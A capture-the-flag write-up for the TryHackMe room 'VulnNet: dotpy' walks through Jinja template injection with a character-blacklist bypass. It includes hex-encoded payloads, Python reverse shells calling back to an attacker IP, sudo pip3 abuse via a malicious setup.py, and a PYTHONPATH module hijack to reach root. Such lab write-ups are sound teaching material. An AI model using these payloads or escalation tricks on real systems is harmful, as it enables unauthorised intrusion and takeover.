VulnNet: dotpy - Write-up - TryHackMe

Information

Room#

  • Name: VulnNet: dotpy
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: VulnNet Entertainment is back with their brand new website... and stronger?

VulnNet: dotpy

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf ruby ctf-party gtfoblookup

Network enumeration#

Let's start by adding a custom domain to the machine:

$ grep vulnnetdotpy /etc/hosts
10.10.133.211 vulnnetdotpy.thm

Port and service scan with nmap:

# Nmap 7.93 scan initiated Sun Jan 15 19:09:34 2023 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap vulnnetdotpy.thm
Nmap scan report for vulnnetdotpy.thm (10.10.133.211)
Host is up, received reset ttl 63 (0.087s latency).
Not shown: 65461 closed tcp ports (reset), 73 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON         VERSION
8080/tcp open  http    syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
| http-title: VulnNet Entertainment -  Login  | Discover
|_Requested resource was http://vulnnetdotpy.thm:8080/login

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 15 19:10:01 2023 -- 1 IP address (1 host up) scanned in 26.30 seconds

Web discovery#

On port 8080, we are facing a python web application.

We are redirected to a login page: http://vulnnetdotpy.thm:8080/login

We can find an email address hello@vulnnet.com but the description of the challenge says:

Note: While looking through web pages you might notice a domain vulnnet.com, however, it's not an actual vhost and you don't need to add it to your hosts list.

So let's create an user account and log in.

As the challenge is CTFy, the author borrow a static demo HTML template, most links are empty and most of the content is static. So let's find where there are dynamic asset and where the user input is reflected.

  • The email address is reflected on the user dropdown menu
  • The username is reflected on the logout button
  • 404 error page reflects the page name

Web exploitation: SSTI#

On a page like http://vulnnetdotpy.thm:8080/xyzpage, we'll see the message No results for xyzpage.

Now if we ask for http://vulnnetdotpy.thm:8080/42 (/{{ 6 * 7 }}), the resulting message is No results for 42, proof that the input is evaluated. So we can try to exploit an SSTI. Let's try more payloads.

{{ config }}

<Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:////home/web/shuriken-dotpy/db.sqlite3', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>

{{ config['SECRET_KEY'] }}

Your request has been blocked.

So some characters are blacklisted.

Web fuzzing#

Let's try to identify all blocked characters. Doing that manually is exhausting and time consuming. So let's automate that with ffuf.

Initially I would have done something like that:

$ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 403
  • ruby -e '("!".."~").each{|c| puts c}' will enumerate most of the printable range of the ASCII table
  • -H 'Cookie: session=... it's mandatory to provide a valid cookie else every request turns into an authorization error
  • -mc 403 we wan't to mach only HTTP code 403 since we want to detect only blocked characters

But the challenge app being poorly written, blocking messages are returning a HTTP 404 since it's using the 404 error template but just changing the text to 403. So instead of matching only 403 we have to match 404 and do an extra content check. So changing -mc 403 into -mc 404 -mr blocked -mmode and

$ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 404 -mr blocked -mmode and

...

.                       [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 407ms]
[                       [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 255ms]
]                       [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 237ms]
_                       [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 224ms]

This way we found that blocked characters are .[]_ (in the ASCII range, deliberately ignoring ones triggering 500 errors).

As in pyjails, we could replace . with |attr('') as we have a Jinja template engine (identified in 500 error) and just hex escape the 3 other characters in a string cf. https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#accessing-subclasses-with-bypasses.

Also eval(), dir(), vars(), locals(), len(), etc. are undefined.

First let's obtain a code execution.

# Get code execution
__builtins__.__import__("os").system("ls")
# We can't start with an object using an underscore so let's replace __builtins__ with print.__self__
print.__self__.__import__("os").system("ls")
# Now use Jinja pipes to get rid of dots
print|attr('__self__')|attr('__import__')('os')|attr('system')('ls')
# Now hex escape the underscores
print|attr('\x5f\x5fself\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')|attr('system')('ls')

But print() and most default function I can think of are undefined.

As you can see in my write-up about TMHC CTF 2019 - BoneChewerCon:

So I can get use of |attr to use an object attribute and array.pop(0) instead of array[0]. But since . is forbidden too I must use |attr("pop")(0). I can also use |list to convert anything as a list, |string to cast to a string, |join to convert from an array/list to a string, etc.

Let's get a paylaod from my previous WU. So first, we exec ().__class__.__base__.__subclasses__() to get the index of subprocess.Popen which is at index 401 on the server.

# Raw
().__class__.__base__.__subclasses__()[401]('id', shell=True, stdout=-1).communicate()
# Bypass dot and square braquets
()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('pop')(401)('id', shell=True, stdout=-1)|attr('communicate')()
# Bypass underscore
()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('pop')(401)('id', shell=True, stdout=-1)|attr('communicate')()

here is another method found in Aquinas write-up that has the advantage of not having to count the subclasses but the disadvantage of working only in Flask environment.

# Raw
request.application.__globals__.__getitem__('__builtins__').__getitem__('import')('os').read()
# Bypass
request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()

Let's generate a reverse shell with revshells.com.

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Let's use ctf-party to escape the whole payload else nested strings will be a mess in addition to blocked characters.

$ ctf-party_console
irb(main):002:0> revshell = %{python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'}
irb(main):003:0> puts revshell.to_hex(prefixall: '\x')
\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x31\x38\x2e\x32\x35\x2e\x31\x39\x39\x22\x2c\x39\x39\x39\x39\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27

Including the reverse shell payload into the SSTI payload gives us this final form:

()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('pop')(401)('\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x31\x38\x2e\x32\x35\x2e\x31\x39\x39\x22\x2c\x39\x39\x39\x39\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27',shell=True,stdout=-1)|attr('communicate')()

System discovery#

Of course we have a low privileges web user:

web@vulnnet-dotpy:~/shuriken-dotpy$ id
uid=1001(web) gid=1001(web) groups=1001(web)

By curiosity, let's look at the source code we just bypassed:

web@vulnnet-dotpy:~/shuriken-dotpy$ grep -r TemplateNotFound .
./app/home/routes.py:from jinja2 import TemplateNotFound
./app/home/routes.py:    except TemplateNotFound:
Binary file ./app/home/__pycache__/routes.cpython-36.pyc matches

web@vulnnet-dotpy:~/shuriken-dotpy$ cat ./app/home/routes.py
...
@blueprint.route('/index')
@login_required
def index():

    return render_template('index.html')

@blueprint.route('/<template>')
@login_required
def route_template(template):

    try:

        if not template.endswith( '.html' ):
            template += '.html'

        return render_template( template )

    except TemplateNotFound:
        s = request.path.strip("/")
        if "." in s or "_" in s or "[" in s or "]" in s:
            template = '''
...

We can execute commands as system-adm:

web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User web may run the following commands on vulnnet-dotpy:
    (system-adm) NOPASSWD: /usr/bin/pip3 install *

System exploitation: EoP from web to system-adm#

We can use gtfoblookup to quickly identify an EoP for pip.

$ gtfoblookup gtfobins search -c sudo pip
/home/noraj/.cache/GTFOBLookup/GTFOBins.github.io/_gtfobins/pip.md
pip:

    sudo:

        Code: TF=$(mktemp -d)
              echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty)
              >$(tty) 2>$(tty)')" > $TF/setup.py
              sudo pip install $TF

Let's exploit it:

web@vulnnet-dotpy:~/shuriken-dotpy$ mkdir /tmp/noraj && TF=/tmp/noraj
web@vulnnet-dotpy:~/shuriken-dotpy$ echo 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' > $TF/setup.py
web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -u system-adm /usr/bin/pip3 install $TF

System exploitation: EoP from system-adm to root#

Now we can execute /opt/backup.py as root.

system-adm@vulnnet-dotpy:/tmp/pip-9cyzsf3i-build$ id
uid=1000(system-adm) gid=1000(system-adm) groups=1000(system-adm),24(cdrom)

system-adm@vulnnet-dotpy:/tmp/pip-9cyzsf3i-build$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User system-adm may run the following commands on vulnnet-dotpy:
    (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py

SETENV allows to set an environment variable.

Now let's look at /opt/backup.py:

from datetime import datetime
from pathlib import Path
import zipfile


OBJECT_TO_BACKUP = '/home/manage'  # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups'  # The location to store the backups in
MAX_BACKUP_AMOUNT = 300  # The maximum amount of backups to have in BACKUP_DIRECTORY


object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists()  # Validate the object we are about to backup exists before we continue

# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)

# Get the amount of past backup zips in the backup directory already
existing_backups = [
    x for x in backup_directory_path.iterdir()
    if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]

# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT:  # >= because we will have another soon
    backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
    backup_to_delete.unlink()

# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
    # If the object to write is a file, write the file
    zip_file.write(
        object_to_backup_path.absolute(),
        arcname=object_to_backup_path.name,
        compress_type=zipfile.ZIP_DEFLATED
    )
elif object_to_backup_path.is_dir():
    # If the object to write is a directory, write all the files
    for file in object_to_backup_path.glob('**/*'):
        if file.is_file():
            zip_file.write(
                file.absolute(),
                arcname=str(file.relative_to(object_to_backup_path)),
                compress_type=zipfile.ZIP_DEFLATED
            )
# Close the created zip file
zip_file.close()

We don't really mind what the script does, we can set PYTHONPATH and the script will try to load the moduels from here when importing.

system-adm@vulnnet-dotpy:~$ echo 'import pty; pty.spawn("/bin/bash")' > /dev/shm/zipfile.py
system-adm@vulnnet-dotpy:~$ sudo -u root PYTHONPATH=/dev/shm /usr/bin/python3 /opt/backup.py

Flags#

root@vulnnet-dotpy:~# cat /root/root.txt
THM{EDITED}

root@vulnnet-dotpy:~# cat /home/system-adm/user.txt
THM{EDITED}
Share